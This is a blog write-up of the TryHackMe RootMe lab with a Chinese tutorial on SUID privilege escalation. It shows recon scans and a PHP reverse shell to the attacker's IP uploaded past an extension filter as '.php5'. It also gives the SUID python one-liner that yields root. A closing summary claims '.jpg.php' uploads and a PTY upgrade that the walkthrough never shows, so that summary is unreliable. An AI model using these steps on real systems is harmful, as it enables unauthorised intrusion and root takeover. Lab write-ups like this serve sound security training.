RootMe

Posted by r3kind1e on September 24, 2026

RootMe

Task 2: Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿kali)-[~]
└─# nmap -sV -O 10.48.153.168  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-23 17:38 -0400
Nmap scan report for 10.48.153.168
Host is up (0.046s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=9/23%OT=22%CT=1%CU=40937%PV=Y%DS=3%DC=I%G=Y%TM=6AB4470
OS:2%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10E%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=104%GCD=1%ISR=10D%TI=Z%
OS:CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=107%G
OS:CD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4
OS:E8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11)WIN(W1=F4B3%W2=F4B3
OS:%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%C
OS:C=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%
OS:T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD
OS:=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S
OS:=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK
OS:=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.38 seconds
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿kali)-[~]
└─# gobuster dir -u http://10.48.153.168/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.48.153.168/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta                 (Status: 403) [Size: 278]
.htpasswd            (Status: 403) [Size: 278]
.htaccess            (Status: 403) [Size: 278]
css                  (Status: 301) [Size: 312] [--> http://10.48.153.168/css/]
index.php            (Status: 200) [Size: 616]
js                   (Status: 301) [Size: 311] [--> http://10.48.153.168/js/]
panel                (Status: 301) [Size: 314] [--> http://10.48.153.168/panel/]
server-status        (Status: 403) [Size: 278]
uploads              (Status: 301) [Size: 316] [--> http://10.48.153.168/uploads/]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

Task 3: Getting a shell

Upload a shell on the hidden directory: http://10.48.153.168/panel/

The backend using php, so try to upload a php reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(root㉿kali)-[~]
└─# tree /usr/share/webshells/
/usr/share/webshells/
├── asp
│   ├── cmd-asp-5.1.asp
│   └── cmdasp.asp
├── aspx
│   └── cmdasp.aspx
├── cfm
│   └── cfexec.cfm
├── jsp
│   ├── cmdjsp.jsp
│   └── jsp-reverse.jsp
├── laudanum -> /usr/share/laudanum
├── perl
│   ├── perlcmd.cgi
│   └── perl-reverse-shell.pl
└── php
    ├── findsocket
    │   ├── findsock.c
    │   └── php-findsock-shell.php
    ├── php-backdoor.php
    ├── php-reverse-shell.php
    ├── qsd-php-backdoor.php
    └── simple-backdoor.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[/tmp]
└─# mkdir /home/kali/tmp/
                                                                                                                                                                                                                                           
┌──(root㉿kali)-[/tmp]
└─# cp /usr/share/webshells/php/php-reverse-shell.php /home/kali/tmp/php-reverse-shell.php

┌──(root㉿kali)-[/tmp]
└─# ls -al /home/kali/tmp/php-reverse-shell.php
-rwxr-xr-x 1 root root 5491 Sep 23 18:41 /home/kali/tmp/php-reverse-shell.php
                                                                                                           
┌──(root㉿kali)-[/tmp]
└─# chmod 777 /home/kali/tmp/php-reverse-shell.php  

┌──(root㉿kali)-[/tmp]
└─# ls -al /home/kali/tmp/php-reverse-shell.php   
-rwxrwxrwx 1 root root 5491 Sep 23 18:41 /home/kali/tmp/php-reverse-shell.php

Change the reverse shell ip and port to your kali ip and listening port

1
2
$ip = '192.168.162.207'  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Try to upload the reverse shell on http://10.48.153.168/panel/

It said php is not permited

Try to by pass the suffix check by chaning the filename to php-reverse-shell.php5

1
2
┌──(root㉿kali)-[/tmp]
└─# mv /home/kali/tmp/php-reverse-shell.php /home/kali/tmp/php-reverse-shell.php5

We can see the php-reverse-shell.php5 in http://10.48.153.168/uploads/

Listen for the inboud connection from the webshell

1
2
3
4
┌──(root㉿kali)-[~]
└─# nc -lvp 1234              
listening on [any] 1234 ...

And Click the reverse shell php-reverse-shell.php5 on the upload page, then we get a reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[~]
└─# nc -lvp 1234              
listening on [any] 1234 ...
10.48.153.168: inverse host lookup failed: Unknown host
connect to [192.168.162.207] from (UNKNOWN) [10.48.153.168] 51326
Linux ip-10-48-153-168 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 22:56:13 up  1:27,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 

Get the flag!

1
2
3
$ cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}

Task 4: Privilege escalation

Search for files with SUID permission

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; 
-rwsr-xr-- 1 root messagebus 51344 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 159304 Jan 15  2025 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 866448 Feb  4  2022 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 477672 Apr 11  2025 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 22840 Feb 21  2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 41552 Feb  6  2024 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 45648 Feb  6  2024 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 53040 Feb  6  2024 /usr/bin/chsh
-rwsr-xr-x 1 root root 3657904 Dec  9  2024 /usr/bin/python2.7
-rwsr-sr-x 1 daemon daemon 55560 Nov 12  2018 /usr/bin/at
-rwsr-xr-x 1 root root 85064 Feb  6  2024 /usr/bin/chfn
-rwsr-xr-x 1 root root 88464 Feb  6  2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 166056 Apr  4  2023 /usr/bin/sudo
-rwsr-xr-x 1 root root 44784 Feb  6  2024 /usr/bin/newgrp
-rwsr-xr-x 1 root root 68208 Feb  6  2024 /usr/bin/passwd
-rwsr-xr-x 1 root root 31032 Feb 21  2022 /usr/bin/pkexec
-rwsr-xr-x 1 root root 40152 Oct 10  2019 /snap/core/8268/bin/mount
-rwsr-xr-x 1 root root 44168 May  7  2014 /snap/core/8268/bin/ping
-rwsr-xr-x 1 root root 44680 May  7  2014 /snap/core/8268/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25  2019 /snap/core/8268/bin/su
-rwsr-xr-x 1 root root 27608 Oct 10  2019 /snap/core/8268/bin/umount
-rwsr-xr-x 1 root root 71824 Mar 25  2019 /snap/core/8268/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25  2019 /snap/core/8268/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 Mar 25  2019 /snap/core/8268/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 Mar 25  2019 /snap/core/8268/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25  2019 /snap/core/8268/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Oct 11  2019 /snap/core/8268/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 10  2019 /snap/core/8268/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 Mar  4  2019 /snap/core/8268/usr/lib/openssh/ssh-keysign
-rwsr-sr-x 1 root root 106696 Dec  6  2019 /snap/core/8268/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Jun 12  2018 /snap/core/8268/usr/sbin/pppd
-rwsr-xr-x 1 root root 40152 Jan 27  2020 /snap/core/9665/bin/mount
-rwsr-xr-x 1 root root 44168 May  7  2014 /snap/core/9665/bin/ping
-rwsr-xr-x 1 root root 44680 May  7  2014 /snap/core/9665/bin/ping6
-rwsr-xr-x 1 root root 40128 Mar 25  2019 /snap/core/9665/bin/su
-rwsr-xr-x 1 root root 27608 Jan 27  2020 /snap/core/9665/bin/umount
-rwsr-xr-x 1 root root 71824 Mar 25  2019 /snap/core/9665/usr/bin/chfn
-rwsr-xr-x 1 root root 40432 Mar 25  2019 /snap/core/9665/usr/bin/chsh
-rwsr-xr-x 1 root root 75304 Mar 25  2019 /snap/core/9665/usr/bin/gpasswd
-rwsr-xr-x 1 root root 39904 Mar 25  2019 /snap/core/9665/usr/bin/newgrp
-rwsr-xr-x 1 root root 54256 Mar 25  2019 /snap/core/9665/usr/bin/passwd
-rwsr-xr-x 1 root root 136808 Jan 31  2020 /snap/core/9665/usr/bin/sudo
-rwsr-xr-- 1 root systemd-resolve 42992 Jun 11  2020 /snap/core/9665/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 428240 May 26  2020 /snap/core/9665/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 110656 Jul 10  2020 /snap/core/9665/usr/lib/snapd/snap-confine
-rwsr-xr-- 1 root dip 394984 Feb 11  2020 /snap/core/9665/usr/sbin/pppd
-rwsr-xr-x 1 root root 85064 Feb  6  2024 /snap/core20/2599/usr/bin/chfn
-rwsr-xr-x 1 root root 53040 Feb  6  2024 /snap/core20/2599/usr/bin/chsh
-rwsr-xr-x 1 root root 88464 Feb  6  2024 /snap/core20/2599/usr/bin/gpasswd
-rwsr-xr-x 1 root root 55528 Apr  9  2024 /snap/core20/2599/usr/bin/mount
-rwsr-xr-x 1 root root 44784 Feb  6  2024 /snap/core20/2599/usr/bin/newgrp
-rwsr-xr-x 1 root root 68208 Feb  6  2024 /snap/core20/2599/usr/bin/passwd
-rwsr-xr-x 1 root root 67816 Apr  9  2024 /snap/core20/2599/usr/bin/su
-rwsr-xr-x 1 root root 166056 Apr  4  2023 /snap/core20/2599/usr/bin/sudo
-rwsr-xr-x 1 root root 39144 Apr  9  2024 /snap/core20/2599/usr/bin/umount
-rwsr-xr-- 1 root systemd-resolve 51344 Oct 25  2022 /snap/core20/2599/usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 477672 Apr 11  2025 /snap/core20/2599/usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 55528 Apr  9  2024 /bin/mount
-rwsr-xr-x 1 root root 67816 Apr  9  2024 /bin/su
-rwsr-xr-x 1 root root 39144 Mar  7  2020 /bin/fusermount
-rwsr-xr-x 1 root root 39144 Apr  9  2024 /bin/umount

The python has SUID

1
-rwsr-xr-x 1 root root 3657904 Dec  9  2024 /usr/bin/python2.7

https://gtfobins.org/gtfobins/python/#reverse-shell

On GTFOBINS, find the python shell SUID payload

1
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

execute it on the webshell we got, and we successfully escalate our privilage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(root㉿kali)-[~]
└─# nc -lvp 1234
listening on [any] 1234 ...
10.48.153.168: inverse host lookup failed: Unknown host
connect to [192.168.162.207] from (UNKNOWN) [10.48.153.168] 34958
Linux ip-10-48-153-168 5.15.0-139-generic #149~20.04.1-Ubuntu SMP Wed Apr 16 08:29:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
 23:45:11 up  2:16,  0 users,  load average: 0.06, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python -V
Python 2.7.18
$ python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami
root

Find the root.txt

1
2
3
4
5
find / -name 'root.txt'
/root/root.txt

cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}

You uploaded multiple PHP reverse shell variants (.php, .php5, .jpg.php) to the /panel/ upload endpoint and triggered execution. The server accepted uploads with 200 responses and you successfully initiated a PTY shell upgrade via Python, confirming RCE on the target.

Portal file upload exploitation and shell stabilization are core penetration testing skills. Demonstrating filter bypass and PTY handling shows practical offensive capability.

Flow:

  • You crafted and uploaded PHP reverse shell payloads with alternative extensions to bypass filters
  • You confirmed successful uploads by accessing the /uploads/ directory with 200 responses
  • You triggered shell execution and upgraded to a PTY using Python, achieving interactive command access

Notes

可以。SUID 是 Linux 提权里非常经典的一类,核心其实只有一句话:

普通用户运行一个带 SUID 位的程序时,这个程序可以临时以“文件所有者”的权限运行;如果文件所有者是 root,那么程序执行过程中可能拥有 root 权限。


1. 先理解普通 Linux 权限

例如:

1
ls -l /usr/bin/passwd

你可能会看到:

1
-rwsr-xr-x 1 root root 68248 /usr/bin/passwd

正常权限通常是:

1
-rwxr-xr-x

但这里变成了:

1
-rwsr-xr-x

注意:

1
s

出现在文件所有者的执行权限位置。

这就是 SUID = Set User ID。

而且这个文件:

1
owner = root

所以普通用户执行 /usr/bin/passwd 时,程序可以临时获得 root 的有效权限。


2. 为什么 Linux 需要 SUID?

最典型的例子就是:

1
passwd

普通用户:

1
kali

当然没有权限直接修改:

1
/etc/shadow

因为:

1
ls -l /etc/shadow

通常类似:

1
-rw-r----- 1 root shadow ...

但你又必须能够修改自己的密码。

所以系统设计成:

1
2
3
4
5
6
7
8
9
用户
 ↓
执行 passwd
 ↓
passwd 带 root SUID
 ↓
passwd 临时拥有 root 权限
 ↓
修改 /etc/shadow

这本身不是漏洞。

关键在于:

SUID 程序是否能够被滥用。


3. Real UID 和 Effective UID

这是理解 SUID 最重要的概念之一。

假设用户:

1
kali

UID:

1
1000

执行一个 root-owned SUID 程序。

此时进程可能是:

1
2
Real UID:       1000
Effective UID:  0

Real UID:

1
真正启动程序的人是谁

Effective UID:

1
程序当前按照谁的权限运行

所以:

1
2
RUID = kali
EUID = root

Linux 在进行很多权限检查时看的是 Effective UID。

这就是为什么 SUID 可以产生提权机会。


4. 渗透测试里第一步:找 SUID 文件

CTF / TryHackMe 里非常经典:

1
find / -perm -4000 -type f 2>/dev/null

含义:

1
find /

从根目录开始找。

1
-perm -4000

找带 SUID bit 的文件。

1
-type f

只找普通文件。

1
2>/dev/null

隐藏 Permission denied 之类的错误。

你可能得到:

1
2
3
4
5
6
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/mount
/usr/local/bin/something

看到这些之后,不是说:

“有 SUID,所以可以提权。”

而是要问:

这里有没有“不应该拥有 SUID”的程序?


5. 系统自带 SUID ≠ 漏洞

比如:

1
2
3
4
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/su
/usr/bin/mount

看到它们不用立刻兴奋。

因为很多 Linux 系统本来就有这些。

真正值得注意的通常是:

1
2
3
4
5
6
/usr/bin/python
/usr/bin/bash
/usr/bin/vim
/usr/bin/find
/usr/bin/nmap
/usr/local/bin/customapp

尤其是一些:

1
自定义程序

比如:

1
2
3
/usr/local/bin/backup
/opt/scripts/tool
/home/admin/check

如果:

1
ls -l /usr/local/bin/backup

发现:

1
-rwsr-xr-x 1 root root ...

就非常值得调查。


6. 为什么某些 SUID 程序可以提权?

假设管理员错误地给某个工具加了 SUID:

1
-rwsr-xr-x root root /usr/bin/someprogram

如果这个程序本身提供了:

1
2
3
4
5
6
执行命令
打开 shell
调用编辑器
执行外部程序
加载插件
调用脚本

之类的能力,那么就可能出现:

1
2
3
4
5
6
7
8
9
10
11
普通用户
 ↓
运行 SUID 程序
 ↓
程序 EUID = root
 ↓
程序调用 shell / command
 ↓
shell 继承权限
 ↓
root

所以问题其实不是:

1
SUID = 漏洞

而是:

1
2
3
4
5
6
7
SUID
+
危险程序功能
+
错误配置
=
提权

7. 一个非常经典的 CTF 思路

比如枚举发现:

1
find / -perm -4000 -type f 2>/dev/null

结果里出现一个异常的:

1
/usr/bin/find

而且:

1
ls -l /usr/bin/find

显示:

1
-rwsr-xr-x 1 root root ...

这时候你的思考应该是:

1
find 能不能执行其他程序?

答案是:它有执行命令的功能。

于是这类二进制就值得去查:

GTFOBins

GTFOBins 专门记录:

1
2
3
4
5
6
7
8
9
Linux binaries
+
sudo
+
SUID
+
capabilities
+
shell escape

等情况下可能出现的滥用方式。

在 THM / HTB 里你会经常用到它。


8. SUID 提权不只是“直接弹 shell”

这里是新手很容易误解的地方。

SUID 漏洞其实有很多类型。

类型 A:程序本身能执行 shell

最直接:

1
2
3
4
5
SUID binary
 ↓
执行 shell
 ↓
继承 root EUID

类型 B:PATH 劫持

比如某个 root SUID 程序内部写了:

1
system("service apache2 restart");

而不是:

1
system("/usr/sbin/service apache2 restart");

它依赖:

1
PATH

寻找 service。

如果攻击者能够控制 PATH,就可能让程序运行一个不同的 service。

思路:

1
2
3
4
5
6
7
8
9
SUID root program
 ↓
调用 "something"
 ↓
Linux 根据 PATH 找 something
 ↓
攻击者控制搜索路径
 ↓
执行攻击者控制的程序

这就是 PATH Hijacking。

THM Easy 靶机特别喜欢考这个。


类型 C:调用可修改的脚本

比如:

1
2
3
4
root SUID binary
 ↓
执行
/opt/scripts/backup.sh

如果:

1
ls -l /opt/scripts/backup.sh

发现普通用户能修改:

1
-rwxrwxrwx

那么就很危险。

因为:

1
2
3
4
5
你修改 script
 ↓
root SUID binary 执行 script
 ↓
script 以高权限运行

类型 D:不安全的环境变量

程序可能依赖:

1
2
3
PATH
LD_PRELOAD
LD_LIBRARY_PATH

等环境变量。

不过 Linux 对 SUID 程序有很多保护措施,所以 LD_PRELOAD 等并不是看到就能随便利用。


类型 E:程序本身存在漏洞

例如自定义 SUID 程序:

1
2
3
buffer overflow
command injection
arbitrary file write

因为程序运行时:

1
EUID = 0

原本普通的漏洞就可能升级成:

1
Local Privilege Escalation

9. THM 中我建议你的枚举流程

以后进一台 Linux 靶机,拿到 low-priv shell 后,可以形成这个肌肉记忆:

1
id

先看:

1
2
我是谁
属于哪些组

然后:

1
sudo -l

检查 sudo 权限。

然后:

1
find / -perm -4000 -type f 2>/dev/null

检查 SUID。

接下来对异常二进制:

1
2
ls -la /path/to/binary
file /path/to/binary

必要的时候:

1
strings /path/to/binary

如果是自定义程序:

1
strings /usr/local/bin/backup

可能直接看到:

1
2
3
4
5
tar
cp
cat
service
backup.sh

然后你就开始思考:

1
2
3
4
它是不是调用了外部程序?
有没有写绝对路径?
调用的文件我能不能改?
环境变量能不能控制?

这就已经从:

“背提权命令”

进步到:

理解 privilege escalation 的原理。


10. 你可以这样记

给你一个非常简化的模型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
                  Linux SUID

普通用户
   │
   │ execute
   ▼
┌─────────────────┐
│ SUID executable │
│ owner = root    │
└────────┬────────┘
         │
         ▼
RUID = user
EUID = root
         │
         ▼
程序执行高权限操作
         │
         ├── 安全设计 → 正常功能
         │
         └── 可被滥用 → Privilege Escalation

所以以后看到:

1
-rwsr-xr-x root root

你脑子里马上应该出现:

这个程序运行的时候 EUID 可能是 root。它有没有办法让我利用它的功能执行我想执行的高权限操作?

这就是 SUID 提权最核心的思维。

对于你现在恢复 eJPT 手感的阶段,我建议尤其把 sudo -l、SUID、cron、writable files/PATH、Linux capabilities 这五类 Linux 本地提权先重新熟悉起来;THM Easy 里面出现频率非常高。